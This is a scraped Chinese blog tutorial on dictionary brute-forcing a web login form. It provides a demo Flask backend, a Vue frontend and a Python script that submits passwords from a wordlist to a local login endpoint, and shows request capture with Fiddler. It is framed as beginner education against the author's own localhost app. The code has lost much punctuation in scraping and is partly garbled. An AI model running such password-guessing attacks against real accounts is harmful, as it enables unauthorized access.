怎么在网上接网站开发的工作,手机wordpress主题,新变更营业执照注册号查了发现之前有备案过网站了,注册网址的网站项目简介
该项目的核心是实现简单网页端的密码破解#xff0c;主要是为了给没有基础的人#xff0c;提供一个思路#xff0c;了解这方面的攻防原理#xff0c;实际用途不大#xff0c;现在大部分有三代四代验证码#xff0c;还有一些加密算法等#xff0c;并不会像文章…
项目简介
该项目的核心是实现简单网页端的密码破解主要是为了给没有基础的人提供一个思路了解这方面的攻防原理实际用途不大现在大部分有三代四代验证码还有一些加密算法等并不会像文章中这么简单的实现直接跑字典而获取密码。 文章内的前后端是特意写的需要源码的话我到时候会把前后端放在文章底部。但这里源码的具体内容我不会进行讲解。
--------
项目实施步骤
环境配置
运行前后端文件我的后端python版本为3.11.4
前端用的vue2axios ---------
项目演示 -------
相关解释
先大致看下前后端的代码
后端
from flask import Flask, request, jsonify
from flask_cors import CORS
import pymysqlapp Flask(__name__)
CORS(app)# 填写相应的数据库信息
ConSql pymysql.connect(host数据库地址,user账号,password密码,db数据库名称,charsetutf8mb4,cursorclasspymysql.cursors.DictCursor)app.route(/login, methods[POST])
def login():username request.json[username]password request.json[password]with ConSql.cursor() as cursor:sql SELECT * FROM login WHERE username %s AND password %scursor.execute(sql, (username, password))result cursor.fetchone()if result:return jsonify({status: success, message: 登录成功})else:return jsonify({status: error, message: 用户名或密码错误})
if __name__ __main__:app.run(debugTrue)
前端 !DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title一夕千念_登录暴力破解demo/title!-- 这里使用vue2.0方便调用 --script srcvue.js/script!-- axios --script srchttps://cdn.jsdelivr.net/npm/axios/dist/axios.min.js/scriptstyle.bd{margin-top: 10%;width: 100%;height: 100%;background-color: #f5f5f5;display: flex;align-items: center;justify-content: center;}label {display: inline-block;width: 100px;margin-top: 5px;/* padding-left: 50px; *//* text-align: left; */}.login {/* margin-top: 150px; */text-align: center;}.login_bt {margin-top: 10px;}
/style
/head
bodydiv idapp classbddiv classloginh2python实现密码暴力破解testPage/h2h4微信公众号关注“听说爱情很美”/h4div classuserlabel for用户名:/labelinput typetext v-modelusername/divdiv classpasswordlabel for密码:/labelinput typepassword v-modelpassword/div!-- 输出登录结果 --div classtets_status{{ test_status}}/divdiv classlogin_btbutton clickupdate登录/button/div/div/divscriptvar app new Vue ({el : #app,data:{username:,password:,test_status:},methods: {update(){axios.post(http://127.0.0.1:5000/login,{username:this.username,password:this.password}).then(res{// this.test_status res.data.statusif (res.data.status error) {this.test_status 登录失败请检查账号或密码是否正确;} else if (res.data.status success) {this.test_status 登录成功}// console.log(test_status);console.log(res.data)})}}})
/script
/body
/html
爆破脚本 import requests
import jsonurl http://127.0.0.1:5000/login
单次测试
先判断单独写上传点能否上传成功
可以的话在写后面跑字典的操作
data {username:admin, password:123456}
开始跑字典查看是否可行。# 打开字典文件
with open(password.txt,r) as file:# 写一个新的数据提交先把密码为空后面将字典赋值给这里的密码datapwd {username:admin, password:}# 循环提交正式跑字典for pwd in file:datapwd[password] pwd.strip()req requests.post(url, jsondatapwd,headers{Content-Type:application/json})json_data json.loads(req.text)# 当返回的json的status的值为success时候单独输出在txt文件中if json_data[status] success:# print(password:datapwd[password]:\n,req.text)file open(success.txt,a)file.write(password:datapwd[password]:\nreq.text\n)file.close()# 输出返回结果print(password:datapwd[password]:\n,req.text)
--------
具体分析
这里用到两个工具
fiddler抓包软件
精易编程助手api调用重发软件 这里用到的软件都是可以找到其他替换品的只要能实现这两个功能就行了。 开始分析
打开fiddler与前端界面 点击开始抓包后随便输个密码 找到这关于相关数据包的数据因为我们本地用的就是这个5000端口所以直接看这个如果是实际环境中应该找相关域名或者公网地址 看到相关的返回值。 这里看到提交的密码信息
这样一个基本的提交包就找到了接下来进行重发包测试 这里将密码改成其他的值然后发送请求查看返回结果 OK这里基本就没问题了开始写脚本代码实现将txt中的密码大全一个一个提交获取返回结果。 先构造单次发送的代码 查看结果 OK接下来开始测试跑字典我这里随便在txt中写了几个密码中间已经包含正确的密码 运行脚本查看返回结果 发现可以找到成功的返回值 但是这里有个问题就是无法显示对应的密码是什么并且还要手动去找success这不对这肯定不符合我的预期继续改。
优化一下输出结果找到对应的password对应的结果并且把success的结果单独拿出来。 再次运行查看结果 密码为jiawen.
去前端测试查看
OK这样一个字典爆破密码的脚本就出来了。
其实还有很多方法可以实现我记得我很早之前就写过一种方法
【超简单】三步教会你暴力破解
可以参考一下。
微信公众号关注“听说爱情很美”后台回复“pj”可以获取源码